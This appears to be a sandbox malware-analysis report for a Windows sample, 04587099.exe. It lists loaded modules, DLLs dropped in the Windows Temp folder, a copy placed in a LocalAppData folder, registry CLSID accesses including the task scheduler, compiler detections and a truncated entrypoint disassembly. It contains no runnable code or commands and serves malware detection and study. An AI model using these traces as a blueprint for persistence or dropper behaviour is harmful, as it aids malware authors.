"%WINDIR%\SysWOW64\msvcrt.dll" at 77AF0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ole32.dll" at 75C80000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\oleaut32.dll" at 74DA0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\msimg32.dll" at 72BF0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\uxtheme.dll" at 73E70000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\msctf.dll" at 74E40000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\dwmapi.dll" at 73480000 "04587099.exe" loaded module "%WINDIR%\System32\kernel32.dll" at 00540000 "04587099.exe" loaded module "%WINDIR%\System32\user32.dll" at 02860000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\shlwapi.dll" at 75190000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\wininet.dll" at 74060000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\mpr.dll" at 74530000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\msvcrt.dll" at 028A0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\winmm.dll" at 72CA0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\winmmbase.dll" at 72C20000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\winmmbase.dll" at 00720000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\cfgmgr32.dll" at 75370000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ucrtbase.dll" at 02B80000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\shell32.dll" at 76660000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\SHCore.dll" at 74650000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\windows.storage.dll" at 75EA0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\kernel.appcore.dll" at 74FA0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\powrprof.dll" at 75520000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\profapi.dll" at 77A00000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\IPHLPAPI.DLL" at 74500000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\crypt32.dll" at 75810000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\dnsapi.dll" at 72E90000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\nsi.dll" at 74F90000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\msasn1.dll" at 77BB0000 "04587099.exe" loaded module "%WINDIR%\Temp\VxSSL32.dll" at 72BD0000 "04587099.exe" loaded module "%WINDIR%\Temp\VxOle32.dll" at 72B80000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\iertutil.dll" at 73C30000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\OnDemandConnRouteHelper.dll" at 73C10000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\winhttp.dll" at 73B60000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\mswsock.dll" at 73B00000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\winnsi.dll" at 73AF0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\urlmon.dll" at 729F0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\imagehlp.dll" at 759A0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\msIso.dll" at 72990000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\rasadhlp.dll" at 73AE0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\FWPUCLNT.DLL" at 72E40000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72F60000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\schannel.dll" at 72920000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\mskeyprotect.dll" at 72C90000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ncrypt.dll" at 72900000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ntasn1.dll" at 728D0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\dpapi.dll" at 72C80000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\wintrust.dll" at 75700000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\cryptsp.dll" at 728B0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\rsaenh.dll" at 72880000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\gpapi.dll" at 72860000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\cryptnet.dll" at 72830000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\dhcpcsvc6.dll" at 72810000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\dhcpcsvc.dll" at 73E50000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\webio.dll" at 72790000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ncryptsslp.dll" at 72770000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\psapi.dll" at 74900000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ntmarta.dll" at 737F0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\clbcatq.dll" at 764D0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\taskschd.dll" at 73850000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\xmllite.dll" at 73820000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\cldapi.dll" at 72750000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\aepic.dll" at 72710000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\propsys.dll" at 73940000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\edputil.dll" at 726D0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\Windows.StateRepositoryPS.dll" at 72640000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\pcacli.dll" at 72620000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\sfc_os.dll" at 72600000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\setupapi.dll" at 74970000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\icacls.exe" at 00830000 "icacls.exe" loaded module "%WINDIR%\System32\ntdll.dll" at 2F630000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\ntdll.dll" at 77BE0000 "icacls.exe" loaded module "%WINDIR%\System32\wow64.dll" at 61300000 "icacls.exe" loaded module "%WINDIR%\System32\wow64win.dll" at 61280000 "icacls.exe" loaded module "%WINDIR%\System32\kernel32.dll" at 00400000 "icacls.exe" loaded module "%WINDIR%\System32\user32.dll" at 004D0000 "icacls.exe" loaded module "%WINDIR%\System32\wow64cpu.dll" at 61270000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\kernel32.dll" at 77A20000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\KernelBase.dll" at 74FB0000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\msvcrt.dll" at 77AF0000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\advapi32.dll" at 76560000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\sechost.dll" at 75240000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 75750000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\sspicli.dll" at 74600000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\cryptbase.dll" at 745F0000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 779A0000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\ucrtbase.dll" at 75D80000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\ntmarta.dll" at 737F0000 "icacls.exe" loaded module "%WINDIR%\Temp\VxSSL32.dll" at 72BD0000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\ws2_32.dll" at 75C10000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\fltLib.dll" at 74330000 "icacls.exe" loaded module "%WINDIR%\Temp\VxOle32.dll" at 72B80000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\user32.dll" at 75570000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\win32u.dll" at 77BC0000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\gdi32.dll" at 748D0000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\gdi32full.dll" at 746E0000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\msvcp_win.dll" at 765E0000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\ole32.dll" at 75C80000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\combase.dll" at 759C0000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\oleaut32.dll" at 74DA0000 "icacls.exe" loaded module "%WINDIR%\SysWOW64\imm32.dll" at 74620000 "04587099.exe" loaded module "%WINDIR%\System32\kernel32.dll" at 02870000 "04587099.exe" loaded module "%WINDIR%\System32\user32.dll" at 02940000 "04587099.exe" loaded module "%WINDIR%\System32\user32.dll" at 03110000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ucrtbase.dll" at 03350000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\dpapi.dll" at 72C90000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\cryptsp.dll" at 72B60000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\rsaenh.dll" at 72B30000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\gpapi.dll" at 72B10000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\urlmon.dll" at 72980000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\msIso.dll" at 72920000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\schannel.dll" at 728B0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\mskeyprotect.dll" at 72C80000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ncrypt.dll" at 72890000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ntasn1.dll" at 72860000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ncryptsslp.dll" at 72810000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\drprov.dll" at 73030000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\winsta.dll" at 72FE0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ntlanman.dll" at 72FC0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\davclnt.dll" at 72FA0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\davhlpr.dll" at 72F90000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\wkscli.dll" at 72F80000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\cscapi.dll" at 72F50000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\netutils.dll" at 72F40000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\browcli.dll" at 72F30000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\cldapi.dll" at 727F0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\aepic.dll" at 727B0000 "WerFault.exe" loaded module "%WINDIR%\SysWOW64\WerFault.exe" at 009C0000 "WerFault.exe" loaded module "%WINDIR%\System32\ntdll.dll" at 2F630000 "WerFault.exe" loaded module "%WINDIR%\SysWOW64\ntdll.dll" at 77BE0000 "04587099.exe" loaded module "%LOCALAPPDATA%\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" at 00400000 "04587099.exe" loaded module "%WINDIR%\System32\user32.dll" at 02D10000 "04587099.exe" loaded module "%WINDIR%\Temp\VxSSL32.dll" at 72900000 "04587099.exe" loaded module "%WINDIR%\Temp\VxOle32.dll" at 728B0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\msimg32.dll" at 72C80000 "04587099.exe" loaded module "%WINDIR%\System32\user32.dll" at 03350000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\winmm.dll" at 72880000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\winmmbase.dll" at 72850000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ucrtbase.dll" at 035D0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\cryptsp.dll" at 72C90000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\rsaenh.dll" at 72820000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\gpapi.dll" at 72800000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\urlmon.dll" at 729B0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\msIso.dll" at 72950000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\schannel.dll" at 72790000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\mskeyprotect.dll" at 72780000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ncrypt.dll" at 72760000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ntasn1.dll" at 72730000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\cryptnet.dll" at 72700000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ncryptsslp.dll" at 726E0000 "04587099.exe" loaded module "%WINDIR%\System32\user32.dll" at 02F90000 "04587099.exe" loaded module "%WINDIR%\System32\user32.dll" at 03360000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\msvcrt.dll" at 035E0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\winmm.dll" at 72920000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\winmmbase.dll" at 728F0000 "04587099.exe" loaded module "%WINDIR%\Temp\VxSSL32.dll" at 728A0000 "04587099.exe" loaded module "%WINDIR%\Temp\VxOle32.dll" at 72850000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\netapi32.dll" at 726C0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\samcli.dll" at 726A0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\srvcli.dll" at 72680000 "DllHost.exe" loaded module "%WINDIR%\System32\dllhost.exe" at 64340000 "DllHost.exe" loaded module "%WINDIR%\System32\ntdll.dll" at 2F630000 "DllHost.exe" loaded module "%WINDIR%\System32\kernel32.dll" at 2F3D0000 "DllHost.exe" loaded module "%WINDIR%\System32\KernelBase.dll" at 2BC00000 "DllHost.exe" loaded module "%WINDIR%\System32\ucrtbase.dll" at 2C5C0000 "DllHost.exe" loaded module "%WINDIR%\System32\combase.dll" at 2D800000 "DllHost.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 2F1A0000 "DllHost.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 2BAE0000 "DllHost.exe" loaded module "%WINDIR%\Temp\VxSSL64.dll" at 24E60000 "DllHost.exe" loaded module "%WINDIR%\System32\ws2_32.dll" at 2CDD0000 "DllHost.exe" loaded module "%WINDIR%\System32\fltLib.dll" at 229C0000 "DllHost.exe" loaded module "%WINDIR%\Temp\VxOle64.dll" at 24E00000 "DllHost.exe" loaded module "%WINDIR%\System32\user32.dll" at 2CEE0000 "DllHost.exe" loaded module "%WINDIR%\System32\win32u.dll" at 2C860000 "DllHost.exe" loaded module "%WINDIR%\System32\gdi32.dll" at 2DB10000 "DllHost.exe" loaded module "%WINDIR%\System32\gdi32full.dll" at 2C6C0000 "DllHost.exe" loaded module "%WINDIR%\System32\msvcp_win.dll" at 2BB60000 "DllHost.exe" loaded module "%WINDIR%\System32\advapi32.dll" at 2CC20000 "DllHost.exe" loaded module "%WINDIR%\System32\msvcrt.dll" at 2CE40000 "DllHost.exe" loaded module "%WINDIR%\System32\sechost.dll" at 2CCE0000 "DllHost.exe" loaded module "%WINDIR%\System32\ole32.dll" at 2F050000 "DllHost.exe" loaded module "%WINDIR%\System32\oleaut32.dll" at 2D730000 "DllHost.exe" loaded module "%WINDIR%\System32\kernel.appcore.dll" at 2BA10000 "DllHost.exe" loaded module "%WINDIR%\System32\clbcatq.dll" at 2CB00000 "DllHost.exe" loaded module "%WINDIR%\System32\IDStore.dll" at 24440000 "DllHost.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 2B480000 "DllHost.exe" loaded module "%WINDIR%\System32\userenv.dll" at 2B880000 "DllHost.exe" loaded module "%WINDIR%\System32\profapi.dll" at 2B980000 "DllHost.exe" loaded module "%WINDIR%\Temp\VxOle64.dll" at 25380000 "04587099.exe" loaded module "%WINDIR%\System32\user32.dll" at 02FD0000 "04587099.exe" loaded module "%WINDIR%\System32\user32.dll" at 03330000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ucrtbase.dll" at 035B000045:T1960,"04587099.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74fb0000 "04587099.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74fb0000 "04587099.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74fb0000 "04587099.exe" loaded module "KERNEL32" at base 77a20000 "04587099.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72c00000 "04587099.exe" loaded module "MSIMG32.DLL" at base 72bf0000 "04587099.exe" loaded module "KERNEL32.DLL" at base 77a20000 "04587099.exe" loaded module "USER32" at base 75570000 "04587099.exe" loaded module "NTDLL.DLL" at base 77be0000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73e70000 "04587099.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72b80000 "04587099.exe" loaded module "RPCRT4.DLL" at base 75750000 "04587099.exe" loaded module "SSPICLI.DLL" at base 74600000 "04587099.exe" loaded module "USER32.DLL" at base 75570000 "04587099.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 73c10000 "04587099.exe" loaded module "WINHTTP.DLL" at base 73b60000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 73c10000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73b00000 "04587099.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 77a20000 "04587099.exe" loaded module "MSISO.DLL" at base 72990000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 73ae0000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 72e40000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 75c10000 "04587099.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 72920000 "04587099.exe" loaded module "MSKEYPROTECT.DLL" at base 72c90000 "04587099.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 75700000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72880000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 779a0000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 72830000 "04587099.exe" loaded module "CRYPTNET.DLL" at base 72830000 "04587099.exe" loaded module "%WINDIR%\SYSWOW64\CRYPTNET.DLL" at base 72830000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 75810000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 72770000 "04587099.exe" loaded module "WS2_32.DLL" at base 75c10000 "04587099.exe" loaded module "PSAPI.DLL" at base 74900000 "04587099.exe" loaded module "SHELL32.DLL" at base 76660000 "04587099.exe" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 73850000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73940000 "04587099.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72640000 "04587099.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 76660000 "04587099.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 729f0000 "04587099.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 74fb0000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 75ea0000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\SFC_OS.DLL" at base 72600000 "icacls.exe" loaded module "KERNEL32" at base 77a20000 "icacls.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 74fb0000 "icacls.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 74fb0000 "icacls.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 74fb0000 "icacls.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 74620000 "icacls.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74fb0000 "icacls.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74fb0000 "icacls.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74fb0000 "icacls.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72b80000 "icacls.exe" loaded module "RPCRT4.DLL" at base 75750000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72b30000 "04587099.exe" loaded module "MSISO.DLL" at base 72920000 "04587099.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 728b0000 "04587099.exe" loaded module "MSKEYPROTECT.DLL" at base 72c80000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 72810000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\DRPROV.DLL" at base 73030000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\NTLANMAN.DLL" at base 72fc0000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\DAVCLNT.DLL" at base 72fa0000 "04587099.exe" loaded module "CSCAPI.DLL" at base 72f50000 "04587099.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 728b0000 "04587099.exe" loaded module "MSIMG32.DLL" at base 72c80000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72820000 "04587099.exe" loaded module "MSISO.DLL" at base 72950000 "04587099.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 72790000 "04587099.exe" loaded module "MSKEYPROTECT.DLL" at base 72780000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 72700000 "04587099.exe" loaded module "%WINDIR%\SYSWOW64\CRYPTNET.DLL" at base 72700000 "04587099.exe" loaded module "CRYPTNET.DLL" at base 72700000 "04587099.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 726e0000 "04587099.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72850000 "04587099.exe" loaded module "ADVAPI32.DLL" at base 76560000 "04587099.exe" loaded module "NETAPI32.DLL" at base 726c0000 "DllHost.exe" loaded module "KERNEL32" at base 2f3d0000 "DllHost.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 2bc00000 "DllHost.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 2bc00000 "DllHost.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 2bc00000 "DllHost.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 2bc00000 "DllHost.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 2bc00000 "DllHost.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 2bc00000 "DllHost.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 24e00000 "DllHost.exe" loaded module "RPCRT4.DLL" at base 2f1a0000 "DllHost.exe" loaded module "%WINDIR%\SYSTEM32\IDSTORE.DLL" at base 24440000 "DllHost.exe" loaded module "%WINDIR%\SYSTEM32\USERENV.DLL" at base 2b880000 "DllHost.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 2538000046:T10cb,"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin" was detected as "Microsoft Visual C/C++" and name: "Compiler" "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin" was detected as "Microsoft Linker" and name: "Linker" "MicrosoftEdgeSetup _1_.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "MicrosoftEdgeSetup _1_.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "MicrosoftEdgeSetup _1_.exe" was detected as "Microsoft Linker" and name: "Linker" "winresume.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "winresume.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "winresume.exe" was detected as "Microsoft Linker" and name: "Linker" "autofmt.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "autofmt.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "autofmt.exe" was detected as "Microsoft Linker" and name: "Linker" "appwiz.cpl" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "appwiz.cpl" was detected as "Microsoft Visual C/C++" and name: "Compiler" "appwiz.cpl" was detected as "Microsoft Linker" and name: "Linker" "04587099.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "04587099.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "04587099.exe" was detected as "Microsoft Linker" and name: "Linker" "04587099.exe.bin" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "04587099.exe.bin" was detected as "Microsoft Visual C/C++" and name: "Compiler" "04587099.exe.bin" was detected as "Microsoft Linker" and name: "Linker" "MicrosoftEdgeSetup.exe.xlzor0p.partial" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "MicrosoftEdgeSetup.exe.xlzor0p.partial" was detected as "Microsoft Visual C/C++" and name: "Compiler" "MicrosoftEdgeSetup.exe.xlzor0p.partial" was detected as "Microsoft Linker" and name: "Linker" "securekernel.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "securekernel.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "securekernel.exe" was detected as "Microsoft Linker" and name: "Linker" "build2.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "build2.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "build2.exe" was detected as "Microsoft Linker" and name: "Linker" "credentialuibroker.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "credentialuibroker.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "credentialuibroker.exe" was detected as "Microsoft Linker" and name: "Linker" "control.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "control.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "control.exe" was detected as "Microsoft Linker" and name: "Linker" "comdlg32.dll.mui" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "comdlg32.dll.mui" was detected as "Microsoft Visual C/C++" and name: "Compiler" "comdlg32.dll.mui" was detected as "Microsoft Linker" and name: "Linker" "axinstui.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "axinstui.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "axinstui.exe" was detected as "Microsoft Linker" and name: "Linker" "credwiz.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "credwiz.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "credwiz.exe" was detected as "Microsoft Linker" and name: "Linker" "clip.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "clip.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "clip.exe" was detected as "Microsoft Linker" and name: "Linker" "appidcertstorecheck.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "appidcertstorecheck.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "appidcertstorecheck.exe" was detected as "Microsoft Linker" and name: "Linker"47:T50e,"04587099.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "04587099.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "04587099.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "04587099.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "04587099.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "04587099.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "04587099.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "04587099.exe" touched "TaskScheduler class" (Path: "HKCU\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS") "DllHost.exe" touched "Identity Store Profile Notification" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{ECF5BF46-E3B6-449A-B56B-43F58F867814}") "DllHost.exe" touched "PSIProfileNotify" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}")48:T6e0,"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin" file has an entrypoint instructions - "call 0x411da5,jmp 0x40b1e2,mov edi, edi,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],xor ecx, ecx,cmp eax, dword ptr [ecx*8 + 0x41f240],je 